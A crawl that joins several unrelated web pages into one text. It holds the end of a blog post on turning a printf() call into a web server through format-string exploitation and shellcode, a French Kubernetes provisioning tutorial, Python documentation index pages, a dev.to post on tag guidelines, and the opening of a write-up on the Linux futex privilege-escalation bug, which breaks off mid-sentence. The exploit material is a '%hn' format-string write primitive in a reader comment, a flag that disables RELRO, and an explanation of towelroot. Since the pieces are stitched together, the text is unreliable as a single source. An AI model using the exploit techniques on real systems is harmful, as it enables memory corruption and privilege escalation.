#include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://dev.to/loiconlyone/jai-galere-pendant-3-semaines-pour-monter-un-cluster-kubernetes-et-voila-ce-que-jai-appris-30l6#gal%C3%A8re-1-nfs-qui-marche-pas | J'ai galéré pendant 3 semaines pour monter un cluster Kubernetes (et voilà ce que j'ai appris) - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. 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Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse BeardDemon Posted on Jan 10 J'ai galéré pendant 3 semaines pour monter un cluster Kubernetes (et voilà ce que j'ai appris) # kubernetes # devops # learning Le contexte Bon, soyons honnêtes. Au début, j'avais un gros bordel de scripts bash éparpillés partout. Genre 5-6 fichiers avec des noms comme install-docker.sh , setup-k8s-FINAL-v3.sh (oui, le v3...). À chaque fois que je devais recréer mon infra, c'était 45 minutes de galère + 10 minutes à me demander pourquoi ça marchait pas. J'avais besoin de quelque chose de plus propre pour mon projet SAE e-commerce. Ce que je voulais vraiment Pas un truc de démo avec minikube. Non. Je voulais: 3 VMs qui tournent vraiment (1 master + 2 workers) Tout automatisé - je tape une commande et ça se déploie ArgoCD pour faire du GitOps (parce que push to deploy c'est quand même cool) Des logs centralisés (Loki + Grafana) Et surtout : pouvoir tout péter et tout recréer en 10 minutes L'architecture (spoiler: ça marche maintenant) ┌─────────────────────────────────────────┐ │ Mon PC (Debian) │ │ ┌──────────┐ ┌──────────┐ ┌─────────┐ │ │ Master │ │ Worker 1 │ │ Worker 2│ │ │ .56.10 │ │ .56.11 │ │ .56.12 │ │ └──────────┘ └──────────┘ └─────────┘ └─────────────────────────────────────────┘ Enter fullscreen mode Exit fullscreen mode Chaque VM a 4Go de RAM et 4 CPUs. Oui, ça bouffe des ressources. Non, ça passe pas sur un laptop pourri. Comment c'est organisé J'ai tout mis dans un repo bien rangé (pour une fois): ansible-provisioning/ ├── Vagrantfile # Les 3 VMs ├── playbook.yml # Le chef d'orchestre ├── manifests/ # Mes applis K8s │ ├── apiclients/ │ ├── apicatalogue/ │ ├── databases/ │ └── ... (toutes mes APIs) └── roles/ # Les briques Ansible ├── docker/ ├── kubernetes/ ├── k8s-master/ └── argocd/ Enter fullscreen mode Exit fullscreen mode Chaque rôle fait UN truc. C'est ça qui a changé ma vie. Shell scripts → Ansible : pourquoi j'ai migré Avant (la galère) J'avais un script prepare-system.sh qui ressemblait à ça: #!/bin/bash swapoff -a sed -i '/swap/d' /etc/fstab modprobe br_netfilter # ... 50 lignes de commandes # Aucune gestion d'erreur # Si ça plante au milieu, bonne chance Enter fullscreen mode Exit fullscreen mode Le pire ? Si je relançais le script après un fail, tout pétait. Genre le sed essayait de supprimer une ligne qui existait plus. Classique. Après (je respire enfin) Maintenant j'ai un rôle Ansible system-prepare : - name : Virer le swap shell : swapoff -a ignore_errors : yes - name : Enlever le swap du fstab lineinfile : path : /etc/fstab regexp : ' .*swap.*' state : absent - name : Charger br_netfilter modprobe : name : br_netfilter state : present Enter fullscreen mode Exit fullscreen mode La différence ? Je peux relancer 10 fois, ça fait pas de conneries C'est lisible par un humain Si ça plante, je sais exactement où Le Vagrantfile (ou comment lancer 3 VMs d'un coup) Vagrant . configure ( "2" ) do | config | config . vm . box = "debian/bullseye64" # Config libvirt (KVM/QEMU) config . vm . provider "libvirt" do | libvirt | libvirt . memory = 4096 libvirt . cpus = 4 libvirt . management_network_address = "192.168.56.0/24" end # NFS pour partager les manifests config . vm . synced_folder "." , "/vagrant" , type: "nfs" , nfs_version: 4 # Le master config . vm . define "vm-master" do | vm | vm . vm . network "private_network" , ip: "192.168.56.10" vm . vm . hostname = "master" end # Les 2 workers ( 1 .. 2 ). each do | i | config . vm . define "vm-slave- #{ i } " do | vm | vm . vm . network "private_network" , ip: "192.168.56.1 #{ i } " vm . vm . hostname = "slave- #{ i } " end end # Ansible se lance automatiquement config . vm . provision "ansible" do | ansible | ansible . playbook = "playbook.yml" ansible . groups = { "master" => [ "vm-master" ], "workers" => [ "vm-slave-1" , "vm-slave-2" ] } end end Enter fullscreen mode Exit fullscreen mode Un vagrant up et boom, tout se monte tout seul. Le playbook : l'ordre c'est important --- # 1. Tous les nœuds en même temps - name : Setup de base hosts : k8s_cluster roles : - system-prepare # Swap off, modules kernel - docker # Docker + containerd - kubernetes # kubelet, kubeadm, kubectl # 2. Le master d'abord - name : Init master hosts : master roles : - k8s-master # kubeadm init + Flannel # 3. Les workers ensuite, un par un - name : Join workers hosts : workers serial : 1 # IMPORTANT: un à la fois roles : - k8s-worker # 4. Les trucs bonus sur le master - name : Dashboard + ArgoCD + Monitoring hosts : master roles : - k8s-dashboard - argocd - logging - metrics-server Enter fullscreen mode Exit fullscreen mode Le serial: 1 c'est crucial. J'avais essayé sans, les deux workers essayaient de join en même temps et ça partait en cacahuète. Les rôles en détail Rôle: k8s-master (le chef d'orchestre) C'est lui qui initialise le cluster. Voici les parties importantes: - name : Init cluster k8s command : kubeadm init --apiserver-advertise-address=192.168.56.10 --pod-network-cidr=10.244.0.0/16 when : not k8s_initialise.stat.exists - name : Copier config kubectl copy : src : /etc/kubernetes/admin.conf dest : /home/vagrant/.kube/config owner : vagrant group : vagrant - name : Installer Flannel (réseau pod) shell : | kubectl apply -f https://github.com/flannel-io/flannel/releases/latest/download/kube-flannel.yml environment : KUBECONFIG : /home/vagrant/.kube/config - name : Générer commande join pour les workers copy : content : " kubeadm join 192.168.56.10:6443 --token {{ k8s_token.stdout }} --discovery-token-ca-cert-hash sha256:{{ k8s_ca_hash.stdout }}" dest : /vagrant/join.sh mode : ' 0755' - name : Créer fichier .master-ready copy : content : " Master initialized" dest : /vagrant/.master-ready Enter fullscreen mode Exit fullscreen mode Le fichier .master-ready c'est un flag pour dire aux workers "go, vous pouvez join maintenant". Rôle: k8s-worker (le suiveur patient) - name : Attendre que le fichier .master-ready existe wait_for : path : /vagrant/.master-ready timeout : 600 - name : Joindre le cluster shell : bash /vagrant/join.sh args : creates : /etc/kubernetes/kubelet.conf register : join_result failed_when : - join_result.rc != 0 - " 'already exists in the cluster' not in join_result.stderr" - name : Attendre que le node soit Ready shell : | for i in {1..60}; do STATUS=$(kubectl get node $(hostname) -o jsonpath='{.status.conditions[?(@.type=="Ready")].status}') if [ "$STATUS" = "True" ]; then exit 0 fi sleep 5 done exit 1 Enter fullscreen mode Exit fullscreen mode Le worker attend gentiment que le master soit prêt avant de faire quoi que ce soit. Les galères que j'ai rencontrées Galère #1: NFS qui marche pas Au début, le partage NFS entre l'hôte et les VMs plantait. Symptôme: mount.nfs: Connection timed out Enter fullscreen mode Exit fullscreen mode Solution: # Sur l'hôte sudo apt install nfs-kernel-server sudo systemctl start nfs-server sudo ufw allow from 192.168.56.0/24 Enter fullscreen mode Exit fullscreen mode Le firewall bloquait les connexions NFS. Classique. Galère #2: Kubeadm qui timeout Le kubeadm init prenait 10 minutes et finissait par timeout. Cause: Pas assez de RAM sur les VMs (j'avais mis 2Go). Solution: Passer à 4Go par VM. Ça bouffe mais c'est nécessaire. Galère #3: Les workers qui join pas Les workers restaient en NotReady même après le join. Cause: Flannel (le CNI) était pas encore installé sur le master. Solution: Attendre que Flannel soit complètement déployé avant de faire join les workers: - name : Attendre Flannel command : kubectl wait --for=condition=ready pod -l app=flannel -n kube-flannel --timeout=300s environment : KUBECONFIG : /etc/kubernetes/admin.conf Enter fullscreen mode Exit fullscreen mode Galère #4: Ansible qui relance tout à chaque fois Au début, chaque vagrant provision refaisait TOUT depuis zéro. Solution: Ajouter des conditions when partout: - name : Init cluster k8s command : kubeadm init ... when : not k8s_initialise.stat.exists # ← Ça sauve des vies Enter fullscreen mode Exit fullscreen mode L'idempotence c'est vraiment la base avec Ansible. Les commandes utiles au quotidien # Lancer tout cd ansible-provisioning && vagrant up # Vérifier l'état du cluster vagrant ssh vm-master -c 'kubectl get nodes' # Voir les pods vagrant ssh vm-master -c 'kubectl get pods -A' # Refaire le provisioning (sans détruire les VMs) vagrant provision # Tout péter et recommencer vagrant destroy -f && vagrant up # SSH sur le master vagrant ssh vm-master # Logs d'un pod vagrant ssh vm-master -c 'kubectl logs -n apps apicatalogue-xyz' Enter fullscreen mode Exit fullscreen mode ArgoCD et les applications Une fois le cluster monté, ArgoCD déploie automatiquement mes apps. Voici comment je déclare l'API Catalogue: apiVersion : argoproj.io/v1alpha1 kind : Application metadata : name : catalogue-manager-application namespace : argocd spec : destination : namespace : apps server : https://kubernetes.default.svc source : path : ansible-provisioning/manifests/apicatalogue repoURL : https://github.com/uha-sae53/Vagrant.git targetRevision : main project : default syncPolicy : automated : prune : true selfHeal : true Enter fullscreen mode Exit fullscreen mode ArgoCD surveille mon repo GitHub. Dès que je change un manifest, ça se déploie automatiquement. Metrics Server et HPA J'ai aussi ajouté le Metrics Server pour l'auto-scaling: - name : Installer Metrics Server shell : | kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml environment : KUBECONFIG : /etc/kubernetes/admin.conf - name : Patcher pour ignorer TLS (dev seulement) shell : | kubectl patch deployment metrics-server -n kube-system --type='json' \ -p='[{"op": "add", "path": "/spec/template/spec/containers/0/args/-", "value": "--kubelet-insecure-tls"}]' Enter fullscreen mode Exit fullscreen mode Avec ça, mes pods peuvent scaler automatiquement en fonction de la charge CPU/RAM. Le résultat final Après tout ça, voici ce que je peux faire: # Démarrer tout de zéro vagrant up # ⏱️ 8 minutes plus tard... # Vérifier que tout tourne vagrant ssh vm-master -c 'kubectl get pods -A' # Résultat: # NAMESPACE NAME READY STATUS # apps apicatalogue-xyz 1/1 Running # apps apiclients-abc 1/1 Running # apps apicommandes-def 1/1 Running # apps api-panier-ghi 1/1 Running # apps frontend-jkl 1/1 Running # argocd argocd-server-xxx 1/1 Running # logging grafana-yyy 1/1 Running # logging loki-0 1/1 Running # kube-system metrics-server-zzz 1/1 Running Enter fullscreen mode Exit fullscreen mode Tout fonctionne, tout est automatisé. Conclusion Ce que j'ai appris: Ansible > scripts shell (vraiment, vraiment) L'idempotence c'est pas un luxe Tester chaque rôle séparément avant de tout brancher Les workers doivent attendre le master (le serial: 1 sauve des vies) 4Go de RAM minimum par VM pour K8s Le code complet est sur GitHub: https://github.com/uha-sae53/Vagrant Des questions ? Ping moi sur Twitter ou ouvre une issue sur le repo. Et si vous galérez avec Kubernetes, vous êtes pas seuls. J'ai passé 3 semaines là-dessus, c'est normal que ce soit compliqué au début. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse BeardDemon Follow Nananère je suis très sérieux... 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https://docs.python.org/3.8/ | 3.8.20 Documentation Download Download these documents Docs by version Stable In development All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide This document is for an old version of Python that is no longer supported. You should upgrade, and read the Python documentation for the current stable release . Navigation index modules | Python » 3.8.20 Documentation » | Python 3.8.20 documentation Welcome! This is the documentation for Python 3.8.20. Parts of the documentation: What's new in Python 3.8? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Installing Python Modules installing from the Python Package Index & other sources Distributing Python Modules publishing modules for installation by others Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs Contributing to Docs About the documentation History and License of Python Copyright Download Download these documents Docs by version Stable In development All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.8.20 Documentation » | © Copyright 2001-2025, Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Apr 16, 2025. Found a bug ? Created using Sphinx 2.4.4. | 2026-01-13T08:48:55 |
https://dev.to/codemouse92/updated-beginner-tag-guidelines-1m2e#promotional-guidelines | Updated #beginner Tag Guidelines - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Jason C. McDonald Posted on Aug 2, 2019 • Edited on Aug 3, 2019 Updated #beginner Tag Guidelines # beginners # meta Co-authored with @highcenburg DEV.to has a reputation for being incredibly beginner-friendly, and we like to think that the #beginners tag is a big part of that. More recently, however, it's been getting hard to predict what belongs on the tag and what doesn't. What designates a "beginner"? Is it someone new to programming, new to Javascript, new to React, or just new to Bootstrap? Those of us who have been at this a while know where to find answers to our questions, and that includes knowing what tags to search for... A complete beginner knows none of this. He or she should be able to subscribe to one tag and get content specifically geared towards their experience level, no further intervention required! We ( @codemouse92 and @highcenburg ) decided to clean up the #beginners tag to achieve this goal. We know this is going to be a big transition, but we're convinced that everyone will benefit in the end: True beginners find content specifically for them, Article authors get their beginner-oriented content noticed more easily by their target audience, DEV.to gets that much more organized. New Guidelines To start with, from here on in we'll be defining a "beginner" as someone who is new to programming, development, networking, or to a particular language. Simply being new to a framework, a library, a toolkit, or an IDE doesn't automatically count. If you think about it, almost all articles on DEV.to teach concepts anyway. We want #beginners to focus only on those developers who have 0-2 out of 10 knowledge in their field or language. All articles on #beginners should be written for true beginners. Articles should require no prerequisite knowledge about the language . This means authors should be prepared to introduce prerequisite concepts fresh in their article or series. It's okay to assume some knowledge of general programming basics, but these expectations should be clearly delineated at the top of your article. Asking a question with the #beginners tag should imply that answers should assume no prerequisite knowledge. What Changed? We used to allow articles teaching frameworks, tools, or libraries to developers who were familiar with the language , but not the discussed topic itself. The new guidelines ensure #beginners focuses on informing true beginners. Here are a few theoretical articles which would have been acceptable on #beginners at some point, but (probably) aren't now: "Building a Blockchain in React" "Combining Pandas and Deep Learning" "Let's build a P2P calendar webapp in Perl" "Executing Assembly Code from C#" Promotional Guidelines Articles should NOT primarily promote an external work, such as a Udemy course, website, or book (yours or someone else's). This is what Listings is for. It IS acceptable to include a brief (1-2 sentence) plug for another resource at the bottom of your article, so long as the article contains complete and substantial content in its own right. If you want to write up a list of resources (paid or free) for beginners, this IS acceptable on the following conditions: Resources should be by at least three different distinct authors/creators. (Don't just make a list all of one person's work.) Clearly indicate which resources are FREE (no cost or data whatsoever), which require personally identifiable information PII , and which cost money. Do not use personal affiliate links to monetize. Use the exact same URLs that anyone else could provide. It should be clear at the first paragraph that the article contains promotional links. What SHOULD Be Here? Articles in this tag should be geared towards new developers, to introduce concepts, coding principles, and language features. In other words. we're looking for articles like this: Neural Networks 101 What I have learned so far with Python 4 Design Patterns in Web Develkopment 4 Common Data Structures Lookaheads in Javascript Dead Simple Python: Generators and Coroutines Questions are also welcomed! All questions on the #beginners tag should be seeking answers without assumptions about prerequisite knowledge. (They should also include the #help tag.) For example... What is a generator? What is the best framework for ERP? What is a segmentation fault? Why can't Python find my class? Guideline Enforcement We may cleaning up some prior posts, so if you find that this tag was removed from a bunch of your posts, don't despair. We just want this tag to be a safe harbor for beginners, even if they scroll back. If you want to go back and edit any of your posts to fit with the new standards, you're welcome to; if the tag was already removed from said posts, you can email yo@dev.to to get it reinstated. If the #beginners tag is used incorrectly in new posts, we'll remove it and provide a friendly reminder, along with suggestions on better tags to use. It takes time to get used to updated rules, so don't worry if this happens to you once or twice or several dozen times. We know you'll get the hang of it! Top comments (3) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Collapse Expand Jason C. McDonald Jason C. McDonald Jason C. McDonald Follow Author. Speaker. Time Lord. (Views are my own) Email codemouse92@outlook.com Location Time Vortex Pronouns he/him Work Author of "Dead Simple Python" (No Starch Press) Joined Jan 31, 2017 • Aug 5 '19 Dropdown menu Copy link Hide P.S. I reeeeeeeally have to say, we're super excited to have @desi joining the #beginners tag moderators. She's the author of the "Best DEV.to Posts For Beginners" series. Best DEV.to Posts for Beginners: Week of July 29, 2019 Desi ・ Aug 5 ・ 2 min read #codenewbie #beginners #tutorial #bestofdev Like comment: Like comment: 3 likes Like Comment button Reply Collapse Expand Desi Desi Desi Follow she/her. bug hunter. UI/UX copywriter. I want to make the internet more usable and accessible. Location Chicago Education Superhi | Ferris State University Work QA Analyst at Bandzoogle Joined Mar 5, 2019 • Aug 5 '19 Dropdown menu Copy link Hide 🤗 excited to be helping out! Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Angela Whisnant Angela Whisnant Angela Whisnant Follow Former Computer Operator at SAS Institute. Budding web developer looking for small projects to gain experience. Email arwhisnant@gmail.com Location Raleigh, North Carolina Education B.S.Ed. Western Carolina University Work Student at Udemy.com Joined May 26, 2019 • Aug 7 '19 Dropdown menu Copy link Hide Makes good sense! Thanks for looking out for us Newbies!:o) Like comment: Like comment: 1 like Like Comment button Reply Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Jason C. McDonald Follow Author. Speaker. Time Lord. (Views are my own) Location Time Vortex Pronouns he/him Work Author of "Dead Simple Python" (No Starch Press) Joined Jan 31, 2017 More from Jason C. McDonald Writing Zenlike Python (Talk) # python # beginners Social Lifespan of Posts # meta # discuss Dead Simple Python: Working with Files # python # beginners 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . 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https://docs.python.org/3.5/ | 3.5.10 Documentation This document is for an old version of Python that is no longer supported. You should upgrade, and read the Python documentation for the current stable release . Navigation index modules | Python » 3.5.10 Documentation » | Python 3.5.10 documentation Welcome! This is the documentation for Python 3.5.10. Parts of the documentation: What's new in Python 3.5? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Installing Python Modules installing from the Python Package Index & other sources Distributing Python Modules publishing modules for installation by others Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Docs by version Stable In development All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.5.10 Documentation » | © Copyright 2001-2025, Python Software Foundation. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Apr 16, 2025. Found a bug ? Created using Sphinx 1.8.4. | 2026-01-13T08:48:55 |
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Right menu Securing Container Lifecycle on AWS: From Build to Runtime Maureen Chebet Maureen Chebet Maureen Chebet Follow Nov 26 '25 Securing Container Lifecycle on AWS: From Build to Runtime # containers # docker # ecr # ecs Comments Add Comment 12 min read Tutorial: Deploy your Web Application with AWS ECS Express Mode (Step by Step) Afu Tse (Chainiz) Afu Tse (Chainiz) Afu Tse (Chainiz) Follow Nov 24 '25 Tutorial: Deploy your Web Application with AWS ECS Express Mode (Step by Step) # aws # ecs # docker # containers Comments Add Comment 3 min read 🔥Task #2 — Create Your First Helm Chart for GKE Cluster Latchu@DevOps Latchu@DevOps Latchu@DevOps Follow Nov 26 '25 🔥Task #2 — Create Your First Helm Chart for GKE Cluster # helm # kubernetes # containers # devops 5 reactions Comments Add Comment 2 min read Exploring Logging in Caddy Daniel Pepuho Daniel Pepuho Daniel Pepuho Follow Dec 17 '25 Exploring Logging in Caddy # docker # containers # linux # tutorial 5 reactions Comments Add Comment 13 min read Building a Real DevOps Project from Scratch: A Beginner-Friendly Walkthrough Bharath Aaleti Bharath Aaleti Bharath Aaleti Follow Nov 24 '25 Building a Real DevOps Project from Scratch: A Beginner-Friendly Walkthrough # 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https://docs.python.org/3.6/ | 3.6.15 Documentation This document is for an old version of Python that is no longer supported. You should upgrade, and read the Python documentation for the current stable release . Navigation index modules | Python » 3.6.15 Documentation » | Python 3.6.15 documentation Welcome! This is the documentation for Python 3.6.15. Parts of the documentation: What's new in Python 3.6? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Installing Python Modules installing from the Python Package Index & other sources Distributing Python Modules publishing modules for installation by others Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Docs by version Stable In development All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.6.15 Documentation » | © Copyright 2001-2025, Python Software Foundation. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Apr 16, 2025. Found a bug ? Created using Sphinx 2.3.1. | 2026-01-13T08:48:55 |
https://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/ | Exploiting the Futex Bug and uncovering Towelroot – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Exploiting the Futex Bug and uncovering Towelroot The Futex bug ( CVE-2014-3153 ) is a serious bug that affects most Linux kernel version and was made popular by geohot in his towelroot exploit. You can read the original comex report at hackerone . Others have succesfully implemented this ( this one for example ), but no public exploit source code is available. This post will describe in detail about what exactly is the futex bug, how to exploit the futex bug, and also explains how towelroot works and what the modstring in Towelroot v3 actually do. Following the footsteps of other security researchers, I will not give a full source code to the exploit. By giving enough details, I hope programmers can learn and appreciate the exploit created for this bug. By not releasing the source, I hope this should stop most script kiddies. There will be some small details that I will gloss over (about the priority list manipulation), so it will require some thinking and experimentation to implement the exploit. One thing to note: I did some kernel programming, but never written a kernel exploit before, so this is my first time, I hope this is a good write up for a newbie exploit writer like me. Distributing the exploit source code will be useful only to handful of people, but writing about it will be useful to all programmers interested in this. Towelroot is not opensource, and the binary is protected from reverse engineering by compiling it with llvm-obfuscator . When I started, I tried using 64 bit kernel on my desktop, and was not successful because I can’t find a syscall that can alter the stack in the correct location. So I decided to do a blackbox reverse engineering by looking at syscalls used by towelroot. Since (I think) I know how towelroot works, I will discuss about it, and I hope it will help people to understand/modify modstrings used in towelroot v3. If you are an exploit hacker, just jump to “on to the kernel” part. The initial part is only for those unexperienced in writing exploits. Before exploiting this bug we need to understand what the bug is. In short, the bug is that there is a data structure in the stack, that is part of a priority list that is left there and can be manipulated. This is very vague for most of programmers, so lets break it down. You need to understand what a stack is and how it works. The Stack A stack is a block of memory set aside for local variable, for parameter passing, and for 